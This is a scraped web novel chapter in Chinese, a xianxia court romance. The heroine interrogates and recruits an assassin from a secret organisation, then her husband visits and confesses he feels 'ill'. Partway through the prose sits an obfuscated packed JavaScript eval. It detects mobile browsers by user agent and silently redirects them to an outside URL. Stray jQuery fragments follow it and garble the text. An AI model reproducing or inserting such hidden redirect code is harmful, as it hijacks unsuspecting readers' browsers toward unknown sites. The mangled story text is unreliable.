默认冷灰
24号文字
方正启体

37. 我的就是你的

作者:空京本书字数:K更新时间:
    记住黑袍人气息的,不止苍舒禾的玉针抚灵,动手脚的,也不止弥枝的术法。


    苍舒禾轻轻一督,权惊舟微瞥,立马会意,冷眸落于勿月的脖颈。


    ──一旦勿月制造的恶事过多,就地斩杀。


    她们二人相识多年,权惊舟了解苍舒禾的脾性,那日,她不过是转头说了句勿月,她就明白她的意思。


    追踪这个人。


    能成为苍舒禾亲自允许的苍洲权力以下第一人,她总是有些特殊手段,追踪这些人不在话下。


    就算无法追踪,只要一眼,也足够判断。


    因此,当她在雅间窗边,余光瞥到楼下街道转去暗巷的人时,尽管只有一个瞬息的背影,她也能确定,这个人,是苍舒禾要她找的勿月。


    而后,弥枝跟过去,顺理成章。


    勿月呼吸被权惊舟的手钳住限制,止不住喘气。


    “给我发布命令的,是一个叫栖竹的人,我没见过栖竹动手,也没见过栖竹样貌,只知道栖竹也是个入道之人。”


    出卖栖竹这种事,他不觉得难做,尽管栖竹给他能吃饱饭的机会,可栖竹于他,无恩。


    既无恩,在姐姐让他不要随便死的遗愿前,远远排在后面。


    他艰难开口:“组织叫做玄蝉蜕,里面的每个人都有代号,就像我叫勿月,昨夜一同入峄琼宫的人,叫拾伍一样。”


    “代号是固定的,人是能换的。上漪玉折柳村,是上一个勿月所做,她已经死了,玄蝉蜕里有规矩,代号新人需要继承旧代号的一切,所以在我还没真正继承旧勿月的全部时,作为新勿月,栖竹让我接手上漪玉折柳村。”


    “我不知道栖竹之上是否还有人,也不知道每一个命令背后到底有什么深意,玄蝉蜕的规矩,向来是吩咐了,不论有没有理解,都只要去执行就好。”


    “每次会面的地点,都不定,上次是在元洲月愁崖。”


    上一任勿月的一切,她的罪恶,她的鲜血,都必须由他来继承,如此把二者分开,显然是违背玄蝉蜕的规矩。


    不过勿月对此并无多大所谓,他加入玄蝉蜕只是因为栖竹说,只要能拿到代号,他就能吃饱饭。


    不需要苍舒禾提醒,他将自己知道的抖个干净,包括这次任务的真正目的。


    抢夺上漪玉只是个幌子,至于栖竹的消息来源,他不知情。


    当最后的尾音落下,苍舒禾没有开口,勿月也不敢催促。


    她嘴角噙着一抹笑,勿月回答的范围在她意料之中,虽然可惜他知道的不多,但好歹只是个才执行一次命令的人,况且,以玄蝉蜕的隐蔽程度,无论是什么原因,能知道太多,才是真正的有鬼。


    她起身朝他走去。


    权惊舟松开手,勿月霎时失力趴下,止不住大口呼吸。


    苍舒禾蹲下:“还好,你可以不是敌人。”


    勿月眼珠缓缓掠向她,奇异地听出她的意思,如果他是敌人,现在趴下的就是他的尸体。


    “真好啊,你还有回头的机会。”轻飘飘的话语滑落微凉的地面。


    勿月在折柳村做的事,看起来都是在阻止她们,但实则什么都没做,就他一个劲地送替身死,根本改变不了折柳村什么。


    苍舒禾指尖抵上他青紫的脖颈,温润流光环绕,一股极为强势的力量直直捆住他心脏。


    勿月脸色瞬间煞白,呕出一口血,脖子不再有痛意。


    他不知道那是什么术法,然而他明白苍舒禾的意思。


    脖子的伤好了,他的性命也完完全全在她手心。


    不知是不是之前震惊的事太多,到此刻,明白暂时不会死,勿月心底竟然奇异地渐渐平静下来,甚至有别的心思思考别的。


    接下来他需要考虑的……


    苍舒禾悠闲站起。


    “包吃吗?”


    下方传来问话,她垂目,轻轻一笑:“还可以包住,只要你能按我说的去做。”


    她转身往外去:“这次任务属于你的部分,我会给你机会。”


    勿月惊讶,不禁追随她的身影,正正对上她顿足回头的含笑视线:“好好当你的勿月,阿勿。”


    他不明白,可是玄蝉蜕的命令也总是这么难以理解,他只需要执行命令即可。


    苍舒禾甫一回到休息的客房,几日不见的乌既白不知什么时候起就在里面等待。


    她在未进来时就感知到他在里面,不过这个时候特地过来……


    她撩起眼。


    乌既白也不含糊,开门见山。


    “主君,苍洲那边截到一封很有意思的信。”


    *


    直至夜幕降临,苍舒禾她们在外吃完饭,才不慌不忙地赶回峄琼宫。


    宫道精致的灯笼已经亮起,勿月提着她买的东西,忍不住瞥向前方心情极好的苍舒禾。


    她果然奇怪。


    他果然还是不明白。


    此前分明发生了不愉快的事,现在为什么还能像什么都没发生过同他相处?


    元后是这样,她周围的人也是这样,是何道理?


    他也是,按理心中该多多少少有根刺才对?


    勿月抬眼,黑夜几颗零零碎碎的星,就像姐姐离开的那天。


    姐姐笑着和他说,不要随便死了。


    其实跟谁对他来说都一样。


    反正能吃饱,还能活着,其他的没必要多想,而且元后让他继续当勿月,也就是说,他只需要在玄蝉蜕那边接任务,再转头与元后商量一二,便能拿两份工钱。


    赚了。


    元后还包吃包住。


    赚了。


    勿月如是想通,是好事,遂不再纠结。


    慈萤殿早已掌上灯,浣月早早在殿门口等待,见苍舒禾回来,急急上前行礼:“夫人,元主在等您。”


    苍舒禾停下脚步,多少有些疑惑。


    成亲多日,奚淮昭不是每日都会来慈萤殿,虽说现在二人身份是夫妻,他晚上有时也会过来,一开始,苍舒禾还以为他是要来同房,既是夫妻,同房也合乎常理。


    结果他要么是搬公文过来处理,要么是睡罗汉榻,仿佛只是要让别人知道,他没有置她不理。


    她倒是无所谓,由着他去。


    但这次,似乎并不是这两种情况。


    时间还很早。


    以往,他该待在重鹤殿。


    苍舒禾回头。


    权惊舟与弥枝熟练地敛下不高兴,点头。


    她们一行人前往别处,苍舒禾才走向慈萤殿。


    以她对奚淮昭这些月的了解,昨日那副窘样,今日不该来找她才对。


    *<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133475|193178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>黄花梨桌旁,奚淮昭不知喝了第几杯茶。


    他竟不知,一个人不过在此居住几月,就能到处都染上她的气息。


    他摩挲杯身,试图压下心烦意乱,恐还是不该来。


    他莫名有些后悔,不应该找容序把脉,他一个大夫,扔下个医嘱就跑。


    既然是医嘱,那便是生病,生病不医治,跑来问乌三娘就能得到答案吗?就能不再有那些症状吗?


    如今怎么想,奚淮昭都觉着莫不是在敷衍他?


    他就是不想再在她面前出糗,才找的容序。


    奚淮昭少见地打起退堂鼓,或者说从来到慈萤殿之前,就一直在打退堂鼓。


    还是趁她没回来,先离开……


    “夫人……”


    殿外传来女侍唤她的声音。


    她回来了。


    脚步声不急不缓,砸在他心间,忽觉紧张。


    走不得了。


    想是这么想,眼睛却盯着殿门的方向,直到熟悉的身影出现,在差点与她相视之前,又移开。


    “外出可还高兴?”他问。


    苍舒禾几步上前,绽开笑:“自然。”


    今日一趟,收获颇丰。


    奚淮昭又望向她,看她进来两手空空,也不知道她到底有没有买,买了什么东西。


    “如今我的就是你的,喜欢什么便买,若是仓库不够大,再扩建就是。”


    苍舒禾闪过意外,根本没料到他会突然说这些。


    奚淮昭面上尽是理所当然。


    他的想法很简单,元主与元后本是一体,从前也不是没有两者共同执掌元州的事。


    即使已经上千年没有发生过。


    在他看来,如果乌三娘想,她定然是够格的。


    不,是完全可以。


    她看似终日随心所欲,可每一件该做的事都做得很好,包括元后之责,甚至是她有时在场,适时提出的建议,都不比任何人差。


    没有人说过她的一句不是,前提是她做得能封住所有人的嘴。


    上一世,就连容序都亲口惋惜过,她是个凡人。


    宫殿萦绕着静心的烛香,暖橙淡淡。


    元州其它事,她想管便管,不想管的就由他管,左右也不麻烦。


    他作为元主拥有的一切,自是与她共享,也是她的。


    视线落在她髻上的发饰处。


    几只玉簪盘墨发,再是素雅不过。


    奚淮昭又补了句,“拿最好的。”


    太普通,成色低的,都配不上她。


    他脸色坦荡,看不出是出于任何私心,而是他认为应当这么做,就该这么做。


    苍舒禾弯了弯眉眼,不打算拂他的意,应下:“好。”


    她提起裙摆在他侧角边坐下,直入正题:“郎君找我何事?”


    明眸在烛光下,居然愈加明亮。


    对上她的视线,奚淮昭这才想起自己为何而来,心间又变得犹豫,一时不知怎么问出口,别过脸。


    “嗯?”她轻轻困惑。


    慈萤殿静悄悄,苍舒禾没再出声,一双眼落在他身上,似是无声催促。


    奚淮昭顿觉骑虎难下,说也不是,不说也不是,说亦该从何说起?


    最后,他低声道:“我病了。”


    “噢?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)